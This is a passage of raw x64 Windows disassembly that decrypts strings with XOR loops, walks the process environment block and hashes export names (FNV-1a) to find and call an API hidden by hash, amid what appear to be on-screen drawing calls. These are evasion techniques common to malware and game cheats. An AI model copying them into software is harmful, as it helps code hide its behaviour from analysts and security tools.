mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140090510
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea r13, [0x140196788]
mov qword [rsp + 0x28], r13
lea rbx, [0x140196780]
mov qword [rsp + 0x20], rbx
lea r9, [0x140196778]
xor r8d, r8d
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x90]
call fcn.14003fdd0
test al, al
je 0x140090876
movups xmm0, xmmword [0x140161580]
movups xmmword [rbp + 0xd00], xmm0
movups xmm1, xmmword [0x140161590]
movups xmmword [rbp + 0xd10], xmm1
movups xmm0, xmmword [0x1401615a0]
movups xmmword [rbp + 0xd20], xmm0
movups xmm1, xmmword [0x1401615b0]
movups xmmword [rbp + 0xd30], xmm1
movups xmm0, xmmword [0x1401615c0]
movups xmmword [rbp + 0xd40], xmm0
movups xmm1, xmmword [0x1401615d0]
movups xmmword [rbp + 0xd50], xmm1
mov eax, dword [0x1401615e0]
mov dword [rbp + 0xd60], eax
movzx eax, word [0x1401615e4]
mov word [rbp + 0xd64], ax
movzx eax, byte [0x1401615e6]
mov byte [rbp + 0xd66], al
mov r8d, r12d
cmp esi, 2
jl 0x140090765
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xd04]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140090660
cmp r8d, 0x67
jge 0x1400907b1
movsxd rax, r8d
lea r9, [rbp + 0xd00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x67
jl 0x140090780
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14009084a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14009084a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140090845
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140090820
cmp r8d, 0x491e0a9c
je 0x14009084f
test r9d, r9d
jne 0x140090800
mov rax, qword [rax]
jmp 0x1400907d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xd00]
call rdx
lea rbx, [0x140196780]
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0x358], 0x42700000
mov dword [rbp + 0x35c], 0x42c80000
lea rcx, [rbp + 0x358]
call fcn.140025c50
movups xmm0, xmmword [str.vZVOO]
movups xmmword [rbp + 0x838], xmm0
movsd xmm0, qword [0x1401615f8]
movsd qword [rbp + 0x848], xmm0
cmp byte [0x1401615ff], 0
je 0x140090a51
cmp esi, 2
jl 0x140090a0f
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x83c]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140090910
jmp 0x140090a51
lea r9, [rbp + 0x838]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140090a20
lea rcx, [rbp + 0x838]
call fcn.14004f2f0
mov dword [rbp + 0x360], 0x42700000
mov dword [rbp + 0x364], 0x42f00000
lea rcx, [rbp + 0x360]
call fcn.140025c50
movups xmm0, xmmword [0x140161600]
movups xmmword [rbp + 0xa38], xmm0
movups xmm1, xmmword [0x140161610]
movups xmmword [rbp + 0xa48], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140090c31
cmp esi, 2
jl 0x140090bef
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa3c]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140090af0
jmp 0x140090c31
lea r9, [rbp + 0xa38]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140090c00
lea rcx, [rbp + 0xa38]
call fcn.14004f2f0
mov dword [rbp + 0x368], 0x42700000
mov dword [rbp + 0x36c], 0x43200000
lea rcx, [rbp + 0x368]
call fcn.140025c50
mov r14, qword [rbp + 0x3f0]
mov rcx, r14
call fcn.140025a50
movups xmm0, xmmword [0x140161620]
movups xmmword [rbp + 0x788], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140090e11
cmp esi, 2
jl 0x140090dcf
movdqa xmm5, xmmword [0x1401222b0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x78c]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140090cd0
jmp 0x140090e11
lea r9, [rbp + 0x788]
mov r8d, r12d
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140090de0
lea rcx, [rbp + 0x788]
call fcn.14004f2f0
mov rcx, r15
call fcn.140025a50
mov dword [rbp + 0x370], 0x42700000
mov dword [rbp + 0x374], 0x43480000
lea rcx, [rbp + 0x370]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0xc30], xmm0
movaps xmm1, xmmword [0x14011d0d0]
movups xmmword [rbp + 0xc20], xmm1
mov dword [rbp + 0x378], 0x3f800000
mov dword [rbp + 0x37c], 0x3f800000
mov qword [rbp + 0x380], 0
mov dword [rbp + 0x388], 0x41c00000
mov dword [rbp + 0x38c], 0x41c00000
lea rax, [rbp + 0xc30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x378]
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0x388]
mov rcx, qword [rbp + 0x738]
call fcn.140047150
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
movsd xmm0, qword [0x140161630]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x140161638]
mov dword [rbp + 0x128], eax
movzx eax, byte [0x14016163c]
mov byte [rbp + 0x12c], al
mov r8d, r12d
cmp esi, 2
jl 0x140091013
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161630]
xorps xmm2, xmm0
movd dword [rbp + 0x120], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x124]
xorps xmm2, xmm1
movd dword [rbp + 0x124], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x120]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091020
lea rcx, [rbp + 0x120]
call fcn.14004f2f0
mov dword [rbp + 0x390], 0x43200000
mov dword [rbp + 0x394], 0x43430000
lea rcx, [rbp + 0x390]
call fcn.140025c50
movaps xmm6, xmmword [0x140164470]
movaps xmm7, xmmword [0x140164460]
mov dword [rbp + 0x398], 0x43020000
mov dword [rbp + 0x39c], 0x41f00000
movsd xmm0, qword [0x140161640]
movsd qword [rbp + 0x130], xmm0
mov eax, dword [0x140161648]
mov dword [rbp + 0x138], eax
movzx eax, byte [0x14016164c]
mov byte [rbp + 0x13c], al
mov r8d, r12d
cmp esi, 2
jl 0x1400911dc
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161640]
xorps xmm2, xmm0
movd dword [rbp + 0x130], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x134]
xorps xmm2, xmm1
movd dword [rbp + 0x134], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400911f0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
lea r9, [0x140196778]
xor r8d, r8d
lea rdx, [rbp + 0x398]
lea rcx, [rbp + 0x130]
call fcn.14003fdd0
test al, al
je 0x14009152f
movups xmm0, xmmword [0x140161650]
movups xmmword [rbp + 0xc40], xmm0
movups xmm1, xmmword [0x140161660]
movups xmmword [rbp + 0xc50], xmm1
movups xmm0, xmmword [0x140161670]
movups xmmword [rbp + 0xc60], xmm0
movups xmm1, xmmword [str.1____a]
movups xmmword [rbp + 0xc70], xmm1
movups xmm0, xmmword [0x140161690]
movups xmmword [rbp + 0xc80], xmm0
movsd xmm0, qword [0x1401616a0]
movsd qword [rbp + 0xc90], xmm0
movzx eax, word [0x1401616a8]
mov word [rbp + 0xc98], ax
movzx eax, byte [0x1401616aa]
mov byte [rbp + 0xc9a], al
mov r8d, r12d
cmp esi, 2
jl 0x140091425
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xc44]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140091320
cmp r8d, 0x5b
jge 0x140091471
movsxd rax, r8d
lea r9, [rbp + 0xc40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5b
jl 0x140091440
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14009150a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14009150a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140091505
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400914e0
cmp r8d, 0x491e0a9c
je 0x14009150f
test r9d, r9d
jne 0x1400914c0
mov rax, qword [rax]
jmp 0x140091490
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xc40]
call rdx
mov dword [rbp + 0x3a0], 0x42700000
mov dword [rbp + 0x3a4], 0x43660000
lea rcx, [rbp + 0x3a0]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0xc00], xmm0
movaps xmm1, xmmword [0x14011d0d0]
movups xmmword [rbp + 0xbe0], xmm1
mov dword [rbp + 0x3a8], 0x3f800000
mov dword [rbp + 0x3ac], 0x3f800000
mov qword [rbp + 0x3b0], 0
mov dword [rbp + 0x3b8], 0x41c00000
mov dword [rbp + 0x3bc], 0x41c00000
lea rax, [rbp + 0xc00]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xbe0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3a8]
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0xa8]
call fcn.140047150
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025310
movsd xmm0, qword [0x1401616b0]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x1401616b8]
mov dword [rbp + 0x148], eax
movzx eax, byte [0x1401616bc]
mov byte [rbp + 0x14c], al
mov r8d, r12d
cmp esi, 2
jl 0x14009171d
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401616b0]
xorps xmm2, xmm0
movd dword [rbp + 0x140], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091730
lea rcx, [rbp + 0x140]
call fcn.14004f2f0
mov dword [rbp + 0x3c0], 0x43200000
mov dword [rbp + 0x3c4], 0x43610000
lea rcx, [rbp + 0x3c0]
call fcn.140025c50
movaps xmm6, xmmword [0x140164470]
movaps xmm7, xmmword [0x140164460]
mov dword [rbp + 0x3c8], 0x43020000
mov dword [rbp + 0x3cc], 0x41f00000
movsd xmm0, qword [0x1401616c0]
movsd qword [rbp + 0x150], xmm0
mov eax, dword [0x1401616c8]
mov dword [rbp + 0x158], eax
movzx eax, byte [0x1401616cc]
mov byte [rbp + 0x15c], al
mov r8d, r12d
cmp esi, 2
jl 0x1400918ec
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401616c0]
xorps xmm2, xmm0
movd dword [rbp + 0x150], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
